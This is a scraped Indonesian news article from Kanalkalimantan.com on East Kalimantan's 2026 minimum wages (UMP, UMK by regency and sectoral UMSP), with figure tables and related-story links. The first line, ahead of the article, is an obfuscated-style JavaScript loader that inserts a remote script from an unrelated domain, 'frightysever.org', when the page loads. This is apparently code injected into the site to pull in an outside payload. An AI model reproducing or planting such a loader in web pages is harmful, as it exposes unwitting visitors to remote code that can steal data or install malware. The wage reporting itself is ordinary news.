(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Sumber: Robert Lens (Pexels)
Upah Minimum Provinsi (UMP) Kalimantan Timur 2026 telah ditetapkan dan ditandatangani oleh Gubernur Rudy Mas’ud pada tanggal 24 Desember 2025. Penetapan ini tertuang dalam Pengumuman Gubernur Kalimantan Timur Nomor 500.15.14.1/5097/DTKT.Srk-IV/2025.
Melalui pengumuman tersebut, upah minimum yang telah diputuskan mulai diberlakukan pada 1 Januari 2026. Ini besaran UMP Kalimantan Timur 2026 dan kenaikannya.
Sesuai dengan keputusan yang ditandatangani gubernur, UMP Kalimantan Timur 2026 ditetapkan sebesar Rp3.762.431 per bulan. Kenaikan UMP Kaltim dibandingkan tahun sebelumnya sebesar Rp183.117 atau sebanyak 5,12%.
Ketetapan ini menjadi upah minimum bagi pekerja atau buruh dengan masa kerja kurang dari satu tahun. Berlakunya UMP Kaltim 2026 mulai 1 Januari hingga 31 Desember 2026.
Perhitungan penetapan UMP 2026 Kalimantan Timur berdasarkan Peraturan Pemerintah Nomor 49 Tahun 2025 tentang Pengupahan. Dewan Pengupahan Provinsi Kaltim melakukan perhitungan sesuai dengan formula yang telah ditetapkan dan merekomendasikan hasil tersebut ke gubernur.
Kepala Disnakertrans Kalimantan Timur menegaskan bahwa proses tersebut dilakukan secara transparan dengan mempertimbangkan inflasi, pertumbuhan ekonomi, dan kebutuhan layak hidup daerah.
Upah Minimum Kota/Kabupaten (UMK) 2026 untuk seluruh kota/kabupaten se-Kalimantan Timur juga telah ditetapkan secara resmi. Setiap daerah menggunakan perhitungan UMK berdasarkan kondisi ekonomi di daerah masing-masing.
Berikut UMK 2026 masing-masing kota/kabupaten di Kalimantan Timur.
| Nama Kota/Kabupaten | UMK 2026 |
| Kabupaten Berau | Rp4.391.337 |
| Kabupaten Kutai Barat | Rp4.231.617 |
| Kabupaten Mahakam Ulu | Rp3.762.431 (mengikuti UMP Kaltim 2026) |
| Kabupaten Paser | Rp3.776.998 |
| Kabupaten Penajam Paser Utara | Rp4.181.134 |
| Kabupaten Kutai Timur | Rp4.067.436 |
| Kabupaten Kutai Kartanegara | Rp3.991.797 |
| Kota Samarinda | Rp3.983.882 |
| Kota Balikpapan | Rp3.856.694 |
| Kota Bontang | Rp3.799.480 |
Kabupaten Berau memiliki UMK 2026 tertinggi sebesar Rp4.391.337,55 per bulan. Sementara UMK terendah dimiliki Kabupaten Mahakam Ulu sebesar Rp3.762.431 per bulan.
Selain UMP, Upah Minimum Sektoral Provinsi (UMSP) 2026 telah diputuskan bersamaan dengan UMP 2026 Kalimantan Timur. Upah minimum sektoral ditetapkan berdasarkan kondisi kerja dan risiko yang lebih tinggi. Pada Pengumuman Gubernur Kalimantan Timur, terdapat delapan sektor dengan besaran upah minimum berbeda. Berikut rinciannya.
| Sektor | UMSP 2026 |
| Perkebunan Buah Kelapa Sawit | Rp3.801.502 |
| Pertambangan Batu Bara | Rp3.930.722 |
| Pertambangan Gas Alam | Rp3.968.518 |
| Jasa Penunjang Pertambangan Minyak Bumi dan Gas Alam | Rp3.968.518 |
| Industri Minyak Mentah Kelapa Sawit (Crude Palm Oil) | Rp3.801.502 |
| Industri Kapal dan Perahu | Rp3.936.933 |
| Pertambangan Minyak Bumi | Rp3.968.518 |
| Pemanenan Kayu | Rp3.802.777 |
Upah minimum tertinggi berada di sektor pertambangan dan jasa penunjang pertambangan migas sebesar Rp3.968.518 per bulan. UMSP terendah dimiliki oleh sektor perkebunan kelapa sawit dan industri minyak kelapa sawit mentah sebesar Rp3.801.502 per bulan.
UMP 2026 yang telah ditetapkan dan ditandatangani oleh gubernur ini bersifat wajib untuk ditaati pengusaha. Perusahaan harus membayar pekerja atau buruh dengan masa kerja kurang dari satu tahun minimal sebesar UMP yang telah ditetapkan.
Bagi pekerja dengan masa kerja selama satu tahun atau lebih, pengupahan wajib mengacu pada struktur dan skala upah perusahaan. Kondisi ini dapat dikecualikan oleh pengusaha tingkat mikro dan kecil yang tergantung kesepakatan pelaku usaha dengan pekerja. (Kanalkalimantan.com/kk)
KANALKALIMANTAN.COM, MARTAPURA - Banjir di Kabupaten Banjar masih belum menunjukkan penurunan ketinggian air secara signifikan,… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More
KANALKALIMANTAN.COM, BATULICIN - Meski tanpa pertunjukan pesta kembang api, malam pergantian tahun 2025 ke 2026… Read More
KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru mengumumkan Upah Minimum Kota (UMK) berdasarkan Keputusan Gubernur… Read More
KANALKALIMANTAN.COM, AMUNTAI – Bupati Hulu Sungai Utara (HSU) H Sahrujani mengharapkan agar Kabupaten HSU pada… Read More
KANALKALIMANTAN.COM, PALANGKARAYA - Persatuan Wartawan Indonesia (PWI) Provinsi Kalimantan Tengah menggelar Konferensi Kerja Daerah (Konferda)… Read More
This website uses cookies.